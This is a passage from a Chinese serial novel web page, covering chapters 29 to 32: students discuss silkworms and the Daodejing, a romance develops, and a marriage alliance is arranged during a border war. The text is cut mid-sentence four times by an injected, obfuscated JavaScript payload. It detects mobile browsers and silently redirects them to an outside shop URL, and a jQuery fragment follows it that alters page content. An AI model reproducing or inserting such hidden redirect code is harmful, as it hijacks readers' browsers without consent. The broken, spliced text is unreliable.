;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156650|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切有，皆是识心标识才有了万物。故说三生万物。此识心为何是二所生呢？此皆是万物“有”的名落谢的影子，汇总起来妄为我心故。心生则万物象成。 所以，万物都有阴阳的两面，无为阴，有为阳。有无感应，阴阳冲气交合，万物乃生。何以故？虚无的觉明感明，即成前尘物象，有“有”妄成，即名为生。生之，以精明为阳，以形为阴，浑融于道而和谐。 人们所嫌弃的是孤，寡，不谷，而王公用来称呼自己。所以，万物在损耗它时反而会产生好的效果，一切认为好的东西也会在无常中损耗消失。 别人所教传的真相，我亦如此教传，强力率性而为的人，死不得其道。故以直心传道，我当为教化的开端。” 话说冯妙元她俩回到教室，看见金朵和金灵在互相介绍养蚕的知识。就说道：“我们四个互相问答关于蚕的知识，谁答不上来，或者答错了做诗一首，你们看怎么样？”。 金灵说道：“可以，我问方师妹，方师妹问妙元妹妹，妙元妹妹问我姑姑，我姑姑问我，刚好这么转一圈来问”。 说完话金灵问方祖蕊道：“蚕籽什么形状？”。方祖蕊回答道：“圆的”。金朵说道：“不对，是椭圆形，来做诗吧”。方祖蕊想了下，说道：“云淡树叶黄，随风飘落台。苔青渐远色，方知秋归来”。 然后方祖蕊问冯妙元说道：“蚕卵孵化需要几天？”。冯妙元说道：“半个月”。方祖蕊说道：“不对，是10天左右，你快做诗吧”。冯妙元说道：“秋凉独添衣，南归双形雁。明朗西窗月，落影夜微寒”。说完方祖蕊说道：“什么叫独添衣，你冷的时候给我也弄一件不就行了，我就知道你也惦记不到我”。冯妙元说道：“今年我阿母定制了两条围脖，一条就是你的”。方祖蕊说道：“那倒是让姨母费心了”。 然后冯妙元问金朵说道：“蚕幼虫几天？”。金朵说道：“二十五天左右”。冯妙元说道：“答对了”。 然后金朵问金灵道：“蚕一般蜕皮几次？”。金灵说道：“五六次吧”。金朵说道：“到底几次呢”。金灵说道：“六次”。金朵说道：“，恭喜你，答对了”。他们就这么嬉闹着玩了一会，下午开课的铃声就响了……。 29. 金梅碎碗试人心，妙元幻逛金家府 话说吴宽海和金梅，金朵她们回家经常一起玩，一起写诗对对字啥的。金梅本来就漂亮，又是十四的年纪，窈窕美丽。十五岁的吴宽海渐渐对金梅产生了好感。 金梅和金朵放学，他依旧来到了金梅他们的出租屋里溜达。看到金梅和金灵在做饭，就问道：“你们俩做啥饭呢？”。金梅说道：“你说能做啥饭，难道不是吃的饭吗？”。吴宽海说道：“这我自然是知道的，我是问打算吃什么饭？”。金梅说道：“我们比不得你们城里人，天天土豆面片就可以了，吃饱就行”。 吴宽海说道：“妹妹想吃好吃的吗？”。听她这么一叫，金灵说道：“你叫她妹妹，那你叫我什么呢？”。吴宽海说道：“哎呀，江湖人管不得这些辈分的，要你这逻辑，还怎么结交朋友呢”。 金灵说道：“我看你就是黄鼠狼给鸡拜年，总有所图”。吴宽海说道：“你说我能图个啥呢？”。金灵说道：“图啥你心里最清楚了，我又不是你，我怎么会知道呢”。 听道这里，金梅心里也是清楚吴宽海的用意的，再加上他最近总是有事没事给自己献殷勤，是人都能看出来。就是不知道他这人真心不真心，也不敢过于和他来往。 他们做好了饭，金灵说道：“宽海兄，你吃过了吗，要么一起吃点”。吴宽海说道：“不了，我吃过了”。金梅吃完饭，就去洗涮锅碗了。她故意把一个碗打碎了，说道：“哎呦，不小心打碎了，幸亏我还有一个小的”。吴宽海说道：“小的用着方便吗？不得尽管去盛饭？”。金梅说道：“没事，能吃饭就行了，我们不讲究这些的”。 然后金灵说道：“我们俩休息一会，吴兄你回去吧”。吴宽海一听，下了逐客令，也就回去了。 吴宽海出来以后，见天色还没有完全黑下来，就赶紧跑到街上买了两个瓷碗，打算明天送给金梅他们。他回来刚好看见金梅她俩，在院子里摆弄蚕宝，并没有休息。就拿出了瓷碗说道：“我父亲让我去买扫帚，路过时看到的，我就买了回来，你们用”。 金梅见状，说道：“我们怎么能平白无故的用你的东西呢，多少钱我给你吧？”。吴宽海说道：“这点小事，不必太在意，大家都住一个院子的，帮忙是应该的”。就这样，金梅觉得，吴宽海是一个有心且遇事可靠的人。 这天晚上，冯妙元又在看《道德释义录》，看到了第四十三，四十四，四十五，四十六，四十七以及四十八章，收录如下：“道德经第四十三章：“天下之至柔，驰骋天下之至坚，无有入无间，吾是以知无为有益。不言之教，无为之益，天下希及之。 这里的意思是说，天下最柔软的东西，可以自由出入于天下最坚硬的东西，比如风可劈隙为谷。无形的力量可以穿透没有间隙的东西，比如热量。故我是以此知道“无为”它的益处的。 没有语言的教化，没有作为的益处，天下很少有东西可以赶上它。 (这里主要还是强调了道隐无名，但功性不失，非有能及。用外在的现象可以观察道的特性，或者觉观我们的六根也可以察觉它的玄妙)。” “道德经第四十四章：名与身孰亲？身与货孰多？得与亡孰病？是故甚爱必大费，多藏必厚亡。故知足不辱，知止不殆，可以长久。 这里的意思是说，个人的虚名与自己的身体对比，那个更亲近呢？个人身体和货物资源对比，那个数目更多呢？(这两句主要还是强调道，去则真，少则得的要妙) 获得新生与患病亡故对比，哪个更有病害呢？甚是溺爱的事物，必然会大费周折。超级收藏事物，必然会在事物的厚重下亡故。(这里主要强调好与不好，是人为定义的。好可以是不好，不好可以是好，就可以调理好心态) 因此，晓得满足的人，就不会侮辱伤害别人，亦不被侮辱。晓得因时因地因人因事适当停止的人，就不会有灾祸，可以长久。” “道德经第四十五章:大成若缺，其用不弊。大盈若冲，其用不穷。大直若屈，大巧若拙，大辩若讷。静胜躁，寒胜热。清静为天下正。 这里的意思是说，天下最完美的东西好似残缺，但它完美的作用是不会有缺陷的。天下最充实的东西好像也很空虚，但它的作用是不会穷尽的。最笔直的东西看起来好像是弯曲的，最灵巧的东西看起来好像是笨拙的，最卓越的辩才好像是不善言辞的。 清静可以克服扰动，寒冷可以克服炎热。清静就是大道的根本，可以正天下。就如同虚空清净无象故不摇，世界万物任在虚空里变化而能自正。” “道德经第四十六章:天下有道，却走马以粪。天下无道，戎马生于郊。罪莫大于可欲；祸莫大于不知足；咎莫大于欲得。故知足之足，常足矣。 这里的意思是说，天下的运行，如果符合道的隐藏，包容，平等，施舍，清明等特点，就会太平安定，用于战争投送的马还给农夫去耕种。 如果天下运行不合乎道，则祸乱四起，就连怀孕的母马也要上战场。 最大的罪恶莫过于放纵欲望，最大的灾祸莫过于不知满足，最大的罪过莫过于贪得无厌。所以，知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156651|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欲望有度，不贪得无厌，才能保持恒久的满足。” “道德经第四十七章:不出户，知天下；不窥牖，见天道。其出弥远，其知弥少。是以圣人不行而知，不见而明，不为而成。 这里的意思是说，了解大道的人，不出门户一步，就能够推知天下事理；不向窗外望一望，就能够了解道本自然运行的法则。向外奔逐得越远的人，懂得的也就越少。 所以有道的人不出行也能够推知事理，不用看见就能够明晓，不主动妄为就能有成就，(这皆是驭道之功，就算成功，也不认为是自己的功劳)。” “道德经第四十八章:为学日益，为道日损。损之又损，以至于无为。无为而无不为。取天下常以无事，及其有事，不足以取天下。 这里的意思是说，追求学问的人，知识一天比一天增加。追求大“道”的人，欲念一天比一天减少，私妄减少再减少，就达到了无为的境地。 如果能够做到无为，即不妄为，就没有什么事情是做不成的了。治理天下的人要以清静无为、不扰动为治国之本，如果经常以繁苛政举骚扰民生，就不配治理国家了。” 看到这里时，夜已经很深了，她不知不觉得睡了过去……。在夜梦朦胧中，她看到了一个很大的庄子。庄子上空中彩霞环绕，地上雾云飘绕，在雾云的缝隙中，夹杂着各种花草树木，宫殿美宇，琉璃仙池，美不胜收。忽然，她来到了庄子的跟前，抬头一望，上面写着金家府。冯妙元见状，感慨道：“原来有妙哥哥家这么辉煌漂亮，仙云飘绕，引人入胜”。 她轻轻的推门走了进去，看见金有妙在看书，她迎了上去，轻声的问道：“哥哥，你家原来这么辉煌，这是哪里啊，我怎么从来没见过？”。金有妙说道：“这是我们以后的家，你的有妙哥哥永远守候在这里，这里没有悲伤和相思，只要你想见，他就在”。然后拉着冯妙元的手说道：“来！跟我来”。冯妙元跟着他逛了各个殿宇，然后坐在了高宇的台阶上，云霞为他们披上了彩衣，她枕着他睡了过去，她自己又变成了他…… 冯妙元猛的一惊，醒了过来，知道夜已经很深了，怎么会做这样的梦呢？她想象着梦中的情形，已经非常坚定的相信，明道的人是富有的，此种情爱又不著世间的相思情苦，想见就在，自由无碍。回过来她又想到有妙哥哥家的艰难，也就不觉得苦难了。 秋天的夜，送来了淡淡寒意，她赶紧上了床，裹上了被子，思绪纷飞着：“不知道有妙哥哥他有没有添衣服呢？渐渐的又进入了梦乡……” 30. 中秋学院大联欢，学生各个现才能 转眼到了今年的中秋，鹿泉学院每年这个时候，都会搞一场大型的聚餐联欢会。联欢会早上开始准备，地点在学院食堂。食堂的前面一排门，是移动木门可拆卸的，拆卸以后，食堂就和前面的院子融为一体了。然后在院子上搭个台子，这样上面人表演的节目，食堂里聚餐吃饭的人，也是能一览无余的。 邻近中午，大家聚餐，然后依次表演节目，先生助教同学都要准备节目。道办方喜云也会参加这个聚会，他也会为大家准备个节目。 这天早上，大家都很早来到了食堂，男学生搭台子，女学生摆桌子，帮厨房姨娘门洗菜切菜，洗水果装盘子等事宜。 冯妙如，道国薇，金朵，金灵，金梅等稍微大一点的学生在厨房帮忙。方祖蕊，冯妙元，吴宽杏等年龄比较小的女生，在食堂摆桌子，摆果盘。男生无论大小都去搭台子了。 冯炳章和金有妙在下面传木头。吴宽勇，道国昌等在台子上面搭。所以他俩不是很忙，时不时的就会进来食堂休息喝水。方祖蕊说道：“你俩就会偷懒，你看他们多忙”。冯炳章回道：“你俩也会偷懒，你看他们忙的”。说话间，他朝厨房里面望了望。 冯妙元一听，说道：“哥，你别看着这活轻松，摆来摆去的，一刻不能清闲，要不是我们的付出，你哪有水喝呢？”。冯炳章说道：“知道了，知道你最辛苦了”。说完话，他朝金有妙望了一眼，说道：“有妙哥你说是不是”。金有妙说道：“嗯嗯，是很辛苦”。 就在金有妙说话的时候，冯妙元给他倒了一杯茶，递到了他前面。冯炳章说道：“元元，我的呢，你别只管顾着他呀”。冯妙元说道：“你别急啊，我这不是正倒着呢嘛”。 冯炳章他俩喝完茶以后，就又去传木头了。冯妙元他们也没什么事了，她就又看了一段道德释义录的四十九章，五十章，五十一章，五十二章。 “道德经第四十九章:圣人常无心，以百姓心为心。善者，吾善之；不善者，吾亦善之；德善。信者，吾信之；不信者，吾亦信之；德信。圣人在天下，歙歙焉，为天下浑其心，百姓皆注其耳目，圣人皆孩之。 这里的意思是说:有道的人是没有私心的，以百姓的心为自己的心。善良的人，我很好地对待他们；不善良的人，我也很好地对待他们，这样就可以使人人向善了。 守信的人，我信任他；不守信的人，我也信任他，这样就可以使人人守信了。 有道的人治理天下，会收敛个人的私欲偏见，使天下人的心思归于纯朴，百姓们皆专注于他们的视听，而有道的人使他们都回到婴孩般淳朴内然的状态。” “道德经第五十章:出生入死。生之徒，十有三；死之徒，十有三；人之生，动之于死地，亦十有三。夫何故？以其生生之厚。盖闻善摄生者，陆行不遇兕虎，人军不被甲兵；兕无所投其角，虎无所用其爪，兵无所容其刃。夫何故？以其无死地。 这里的意思是说，人从生下来一直到死，长寿的有十分之三；短命而亡的有十分之三；生下后本来可以活得长久，但自己走向死路的也占十分之三。这是什么缘故呢？ 是因为求生太过度了，酒肉餍饱，奉养过厚了。曾听说善于养生的人，在陆地行走遇不到犀牛和猛虎，在战争中不会受到杀伤。犀牛虽凶，却对其无法用它的角；老虎虽猛，却对其无法利用它的爪；兵刃虽锋利，却对其无法施用它的锋芒利刃。这是什么缘故呢？因为他没有进入死亡的领域。” “道德经第五十一章:道生之，德畜之。物形之，势成之。是以万物莫不尊道而贵德。道之尊，德之贵，夫莫之命而常自然。故道生之，德畜之；长之育之；亭之毒之；养之覆之。生而不有，为而不恃，长而不宰。是谓玄德。 这里的意思是说，道生成了万物(生命本就是道本觉明性然)，德蓄养了万物(合道的行为就可以蓄养生命，主要包括隐藏，包容，平等，施舍，清明，不占有，不自功等)。万物呈现出各种各样的形态，是由于道体觉明象势而发。 因此，万物没有不尊敬道且重视德的。道之所以受到尊敬，德之所以受到重视，就在于它不加干涉而顺其自然。 所以，道生成了万物，德养育了万物；使万物生长发育，使万物成熟结果，使万物得到抚养和保护。道产生万物却不据为已有，养育万物却不自恃其功，导引万物自己生长而不做万物的主宰。这才是极大极深远的“德”啊。” “道德经第五十二章:天下有始，以为天下母。既得其母，以知其子；既知其子，复守其母，没身不殆。塞其兑，闭其门，终身不勤。开其兑，济其事，终身不救。见小曰明，守柔曰强。用其光，复归其明，无遗身殃，是为袭常。 这里的意思是说，天下万物都有本始，这个始可以称之为天地万物的母亲。既然知道了万物的根本母亲，也就认识了种种万物。 通过认识种种万物，就复能了其根本(比如生命都有六根，以此就可以了道觉明)，万物若能了其根本，那么终身也不会发生危险了。 堵塞嗜欲的孔（也就是不执五根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156652|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欲取），关闭欲念的心门（也就是不贪识为有），就可以终身没有劳烦扰心的事。打开嗜欲的孔，就会增添纷杂的事，使你终身不可救治。 能通达道的无欲自在，觉明(小)性然便作明。能够守住道的隐藏无名，随顺万物的柔便作强。 运用其道觉明而妄成的光，又能返照自在的明(比如山河大地本就是道本自在的明，是光返照道本觉明而映其明，而妄成种种差别)。 这样就能彰显道的明白，能明白一切而能不给自己带来灾祸，殃及自身。若人们对一切不明，则寸步难行。这就是我们所说的承袭不断，延绵不绝的常道(也就是说，明白本身就是常道，它能明白一切而让我们没有灾祸)。” 冯妙元看了一会，转眼就到中午了，大家陆续都落了座。冯妙元和冯妙如，方祖蕊，道国昌，道国薇，金朵，金灵，吴宽杏，冯炳章，金有妙十个人一桌。 聚餐开始，方喜云说道：“道学为国家根本，蚕养为国家经济未来，大家必需精益求精，学识熟练，借此一年一度的活动，大家尽显所学之才能，以做验纠。好了，我说这么多，大家开始就餐，我就不上台了，给大家说个谜语，大家猜一猜”。接着他又说道：“小姑娘，猜一个字”。冯妙元站起来说道：“妙字”。 然后，各自准备的节目，也就陆续登场了。轮到冯妙元了，她快速的走上了台，说道：“各位先生老师好，同学们好，我给大家带来一首歌，望大家喜欢”。说完她唱道：“青青子衿，悠悠我心。纵我不往，子宁不音？青青子佩，悠悠我思。纵我不往，子宁不来？挑兮达兮，在城阙兮。一日不见，如三月兮。” 这首歌曲在妙赞国广为传诵，大家都知道。那是一个自由的时代，自由的国度，唱来也没有不合时宜。她在内心当中也是想表达一种思念，金有妙自然是懂的。然后轮到金有妙了，他也很快上了台，说道：“我给大家也唱一首歌吧”。说完他就唱道：“南有乔郎，窈窕有思；诚欲往矣，宽河阻兮。南有乔郎，明眸有思；诚欲往矣，羞涩阻兮。坎坎伐兮，遥观怜兮；一日不来，辗转侧兮。” 这也是一首在妙赞国广为传颂的一首歌，反映的是一位伐木男子的相思之情。在妙赞国经久传唱的歌，表达男女情爱的多。金有妙唱这个也没有什么不合时宜。冯妙元自然是懂的。还有其他很多节目暂不细表，时间就来到了晚上。 到了晚上，一轮明月高高挂，冯妙元和方祖蕊，冯炳章，金有妙就来到了白云观的土山上赏月，各自说着未来的理想……。 31. 雪大边关逢战事，冯堂林场复招兵 转眼到了冬天，这年冬天一连下了好几天的雪。游人牛羊被冻死了许多，不得已他们又在边地劫掠。游人首领图列巴，自上任以来，就抹兵练马，早有图谋。要不是这场雪，让他迫不得已。他也不会这个时候起冲突，他最是一个审时取势，野心雄宏的主。 国家为了应对战事，开始全国范围了招兵。冯堂养羊的林场又启用为练兵场，冯炳乾，唐贵，赵家老三叫赵如亮，吴彪他们几个都入了伍，当了兵。 话说唐贵知道金凤和吴宽良的私情以后，每天闷闷不乐，家里也是少有欢乐，他就当了兵，把2岁多的孩子扔给了金凤，自己眼不见心不烦。 金凤日子全靠吴宽良接济。冯秀莲欲发的哀怨暴躁了，吴宽良冷暴力也是不说话。这样日子如山一般，看不到尽头，吴秀莲每天除了诅咒金凤早早死去，也没有其他办法。她眼里只有对金凤的仇恨和对吴宽良的抱怨。但这对于事情来说，无济于事，只是苦了自己，整天以泪洗面。合道的行为就是成全别人而知有舍，自己就会没有苦，可惜她不懂的放过自己。 冯堂自从羊场被收以后，他带着吴远宏又在金山寨修了养场，规模从原来的几百只变成了几十只，家道渐渐也败落了下来，做事也没有原来嚣张了。女儿冯秀莲的事也让她头疼不已，他以为吴家家境好，女儿应该不会吃苦。现在搞成了这样，他也是无可奈何。金志海也没有原来那么仗势欺人了。 负责林场练兵的是道国昌的父亲陈海棠，国姓道海堂。他下面有个副官叫刘永福，最是严厉有信，练兵有方的人。冯炳乾更是处处表现，来讨好于他。 县衙负责筹粮，县大人就把这个事交给了金春海，金春海在金山葫芦寨设了筹粮所，建在金山学堂后院，由金志海管理。金春海因为要筹粮，所以长期就住在了家里，他也中间腾挪一些粮食给自己家。回来后，他自己又修了两间侧房，一件卧室，一件厨房，莺儿也从下房搬到了厨房火炕上睡觉了。上房因常年漏雨，也就做了库房。有妙母亲杨氏也就慢慢的好起来了，不再拄拐杖了。 国家为了信息通常可靠，在每个县设立了问政团，问证团每月都要去妙理城述职报告，所以对于县大人，金春海，道海棠而言，这个团就是顶头上司，万万是不敢得罪的，生怕给自己穿小鞋。 鹿泉县的问政团团长是冯玄真的老二冯炳仁，这个人不但随父亲善良有大爱，而且刚正不阿，他选妹妹冯妙如做了副手。他们兄妹做事，动之以情，晓之以理。比如说，他是知道金春海家的情况的。金志海拿粮贴补家用的事，他也就睁一只眼，闭一只眼。再说了，金春海也怕被人举报，也就不敢多拿，只是家里能吃饱而已。 守边关的是李承乾的父亲李龙将军，因为战事，李承乾和吴宽勇也被招到了边关前线。吴宽勇走的时候，父亲吴远航泪流满面，但他最是一个深明大义的人。他负责军队的武器以及食盐的供应，隔三差五的也能见到儿子。在妙赞国，铁器也要进口。所以，国家当前最好紧的事就是与隔壁蚕盛国合并或者联盟。道国元父子主要负责国家外交。 话说年底这月，蚕盛国的使节来到了妙赞国，蚕盛国的使节是盛雄的老二，叫盛有亮，今年二十岁。王上为了让述职团更了解国家情况，以便于施政提意，于民间推广。在招待外国使臣的时候，会选一些县的团首来赴宴。刚好冯妙如在妙理城述职，就让她和冯炳仁也参加了招待会。 在宴会上，盛有亮第一次见到了冯妙如。话说冯妙如和冯妙元长的几乎一模一样，盛有亮看的呆住了，他不会想到，世间尽有如此美丽的姑娘。就这样，想不到决定妙赞国联盟合并这样的大事，它的成败，却落在这么一个柔弱的大姑娘身上了。 盛有亮见冯妙如生的如此美丽，就问王上说道：“三叔，这位是那家女子？，我从未曾见过”。王上道守平说道：“这是吾子国元在马场练兵时的同学，现在是问政专办，这次回来述职，刚好赶上太子到访，就让她过来赴宴，热闹一些”。 盛有亮一听是太子同学，心又凉了半截。道国元说道：“她叫冯妙如，是我同学的姐姐，我同学叫冯妙元，王上没有细问，以为就是了”。盛有亮听到这里，又打量了冯妙如一翻，轻轻的“哦”了一声。然后说道：“初次见姑娘，也没有什么可述礼的，就把这个送给姑娘吧”。说话间，他把随身带的玉佩，就让随从递了过去。冯妙如在这个场合，也不好拒绝，也就收下了。道国元也是暗暗惊叹，没想到冯妙元姐姐和她几乎一模一样。 宴会结束，道国元为冯炳仁和冯妙如设了家宴，请他们上门做客，道国元，道国芳随父道守真一起做了陪同。道国元问道：“令妹近来可好？”。冯妙如一听他最先问这个，就知道他的心思了。虽然妹妹不说，妙如自然是知道妹妹的心思的，她想到这里，就说道：“妹妹和她同学，有个叫金有妙的天天一起参学，甚是用功，她的情况，我也不很是了解”。 道国元听到这话，心里也很是失落，慢慢的，他也就打消了对冯妙元的想法。只是还是想见到她，看看她。就像道国昌那样，能和她一起玩，一起开心也就知足了。 这个时候，道国芳开口说话了，说道：“姐姐你真漂亮，就像天上的仙女”。道守真说道：“大家别光聊天，快！吃菜”。尔后，冯炳仁问道守真说道：“姨叔你说我们两国联盟的事能成吗？”。 道守真说道：“我们王上本就是蚕盛国王盛雄的三叔，当年他父无道，逼着我们王上逃命来到了我们国家，盛雄又逼着父亲退了位。这个盛雄是个有头脑的雄才之主。他吸取了父亲的教训，把叔哥都分了侯，安顿在蚕盛国边疆了。他们国家蚕铁业发达，除了进口盐，其他都能自足，各个侯王也就没有再造反的必要了。国内现在政局很稳定，游人也劫掠他们国家，不过他们不需要我们帮忙，也是能够应对的。但是，我们需要他们”。 道守真继续说道：“所以，结盟对于他们来说，并不是很重要，我们如果能和他们合亲，胜算的几率就大了，芳儿还小，我打算在民间找一个貌美的，报告王上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156653|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，赐她国姓，然后嫁于盛有亮，结盟这事就可以成”。 冯妙如听到这里，想起白天盛有亮的长相，他生得浓眉大眼，宽额挺鼻，发簪高绾，动作形如流水，和自己蛮有几分相象。就说道：“国家大事，我们个人的利益就要放在后面，姨叔你看我可以的话，我愿意承担此重任” 道守真一听，喜出望外，只是不敢表于形色，他心里是知道的，盛有亮是看上冯妙如的，只要她愿意，这结盟的事一定就成，没想到冯妙如这么痛快的自己答应了。道守真就说道：“那我先谢谢冯姑娘了，你不但生的美丽，而且是一个深明大义的人，能以百姓心为心，是道的伟大践行者”。 话说金春海自从筹粮回家住了，金有妙也就有胆量出来了，或者回去晚一些。所以，有时候放学以后，他就会去女生教室找冯妙元，聊一会天再回去。今天，她俩又聊了一会，冯妙元说道：“有妙哥，你给我讲这五十三和五十四吧” 金有妙说道：“道德经第五十三章:使我介然有知，行于大道。唯施是畏，大道甚夷，而人好径。朝甚除，田甚芜，仓甚虚；服文彩，带利剑，厌饮食，财货有余，是谓盗夸。非道也哉！ 这里的意思是说，当我有了知道而行于大道上时，唯一使我畏惧的就是大道是平坦的(平等没有分别)，而我固执己见，坚持某个路径行使。(不立知见，不自以为是，即见夷道) 若有人偏要舍弃大道而寻觅小路(就是自以为是)。则朝廷就会败坏，农田也会荒芜，仓库也会空虚。还穿着华丽的衣服，佩带锋利的宝剑，精美的食物早已吃厌，搜刮侵吞了大量的财货，这就是盗魁贼首啊！其所作所为实在是不合明道了！” 他继续说道：“道德经第五十四章:善建者不拔，善抱者不脱，子孙以祭祀不辍。修之于身，其德乃真；修之于家，其德乃余；修之于乡，其德乃长；修之于邦，其德乃丰；修之于天下，其德乃普。故以身观身，以家观家，以乡观乡，以邦观邦，以天下观天下。吾何以知天下之然哉？以此。 这里的意思是说，善于建设的人不会建了又拔，反复修正(这里强调善建的人都是规划大师)。善于抱持的人一旦有所抱持就不会脱掉(比如信仰)。如果子子孙孙都能遵守“善建”、“善抱”的道理，后代的烟火就不会断绝。 把这个道理贯彻付诸到自身，他的德就是真实纯正的。把这个道理贯彻付诸到一家，他的德就是丰盈有余的。把这个道理贯彻付诸到一乡，他的德就会受到尊崇。把这个道理贯彻付诸到一国，他的德就会丰盛硕大。把这个道理贯彻付诸到天下，他的德就会无限普及。 所以以自身的修身之道来观察他人，以自家观察他家，以自乡观察他乡，以自己的国家观察其他的国家，以自己的天下观察别人的天下。我凭借什么知道天下的情况呢？就是用的这种方法。” 冯妙元说道：“那就是说，做调查和建立信仰是治理国家的根本”。金有妙说道：“是的”。然后他们又聊了一会各自就回家了。 32. 备年货朵灵回家，逢寒假有妙做客 由于秒赞国做了充分的准备，游人也没占到什么便宜，经历了一场小的冲突，就熄灭了战火。摆在妙赞国的形式更加严峻了。 这年的冬天很冷，到处都是雪，回往金山村的路也是艰阻难行。金春海带着金朵，金灵，金有妙去县城的街上打算备一些年货。趁着放假，吴宽海也带着金梅在街上逛了几天。因为战事紧张的原因，吴远航，吴宽勇都平时不会在家，家里只有吴母和吴宽海，金梅也就住在了他家。 金春海带着他们来到街上，自己就去采购一些东西去了，给了孩子们钱，让他们自己去逛了。对于金灵，金朵，金有妙他们来说，这也是第一次能好好的悠然逛街了，平时都是买些东西立马就回了。 逢年的集市，非常热闹。他们先来到一家凉皮店，各自要了一碗凉皮。黄土高坡人的凉皮做的特别好吃，这也是这里的主要小吃了。按份量拾好凉皮，倒上早已经配好的料汁，然后放上辣椒，韭菜花就可以吃了。 吃完凉皮以后，他们来到了一家笔墨书店。金有妙买了一些书写纸，金朵和金灵买了一支新的毛笔。然后他们来到丝纺店，金朵给莺儿买了一捆丝线，金灵也给母亲买了顶针和拉鞋底的麻线。他们又来到糖果店，金灵给弟弟妹妹们买了糖果，也买了一些饼干。他们经过杂货铺，金灵和灵朵都买了头绳，梳子，发卡等洗刷物品。金有妙也买了头绳和发卡偷偷的藏在了身上。其实他除了书写，他什么都不会感兴趣的。 不像小的时候，他们都大孩子了，什么好玩的东西也就不感兴趣了。街上有耍猴的，卖艺的，唱戏的，他们也会停留。就有这么一家耍猴的摊场，只见一个人用绳子牵着三只猴子，嘴巴里喊道：“趴下，立正，稍息，来上车……等训语”。猴子照着他喊的做着。 他们经过戏场，看见台上有一个人唱道：“漫漫风雪腊月寒，阵鼓摧破敌人胆。我家本是安稳人，六月入伍守边关，我道爹母莫恋儿，本是男子守帷安……。” 他们逛完县城的集市，金春海租了一辆马车，拉上采买的东西，带着朵儿，灵儿就回家了。金有妙说冯炳仁有事给他学习交代，就没有跟在一起。金春海一听是冯炳仁安顿的，心里自然不提多高兴了，赶紧允许了他。 冯炳章找到金有妙，就带着他回了自己家。金有妙远远望去，那是一个不大但也不小的院子，大概七八间屋子，就在鹿泉河的边上。院墙边上时不时的露出几个树的枝条，不知道什么树，春夏两季应该很美。他们推门进入院子，眼前正对面是一个很大的上房，进去正中间墙上挂着道祖的像，下面很大的桌子上有香炉，桌子两旁是椅子。椅子对面墙跟有一排木椅，上面铺着毛毯。左右两边是套间。房前院子的左右两侧是回廊，进去有树有假山，有池子，其中空闲地伫立着房子。冯炳章一个人住一个屋子，就在右回廊的池子边上，他带着冯妙元见过龚映兰就回他屋，两个人去玩了。冯妙元和方祖蕊去逛街了，也不知道金有妙会来。 金春海赶着马车，到处是雪埂，路异常难行，金朵和金灵帮着推推车，铲铲雪，折腾了四个小时，邻近晚上才到了家。金灵就直接回自己家了，金有田看见金灵回来了，也是非常高兴。金香和金君宝也是吵着要糖果，她就把糖果拿出来分给了他们。 这年他们几家都准备了年猪，每一家轮流着开始杀年猪了。金家兄弟除了金有辉和金有平搬到蚕盛国，金有妙在县城以外，其他兄弟都在，就帮忙着杀年猪了。然后大家聚在一起吃杀猪饭。这也是孩子们最开心的事情。 话说到了晚上，冯妙元回来了，她和冯妙如住一个屋子。冯妙如告诉她金有妙在家做客，可把她高兴坏了，脸都没洗，就跑到了冯炳章的屋里头。进去就看见金有妙，说道：“有妙哥哥，你怎么来了？我还想着去找你呢，你这就来了，看来真是心有灵犀呀”。刚说出口，见哥哥在边上，感觉这话说的有点…。她赶紧打岔的问冯炳章：“你带他来干嘛呢？”。冯炳章说道：“二哥看了他写的道本问政录，是请他来写问政贴的，下月要带去妙理城给王上”。冯妙远说道：“二哥什么时候过来呢？”。冯炳章说道：“我也不知道，有妙哥估计得住咋家过年了”。冯妙元一听这话，可高兴了，说道：“我先去洗脸，你们聊，然后我们一起玩”。 冯妙元洗完脸，就拿了一些水果过来了，然后让金有念给她讲道德经。金有妙说道：“妙元妹妹你看到哪里了？”。冯妙元说道：“你从五十五开始讲”。 金有妙说道：“道德经第五十五章:含德之厚，比于赤子。毒虫不螫 [shì]，猛兽不据，攫 [jué] 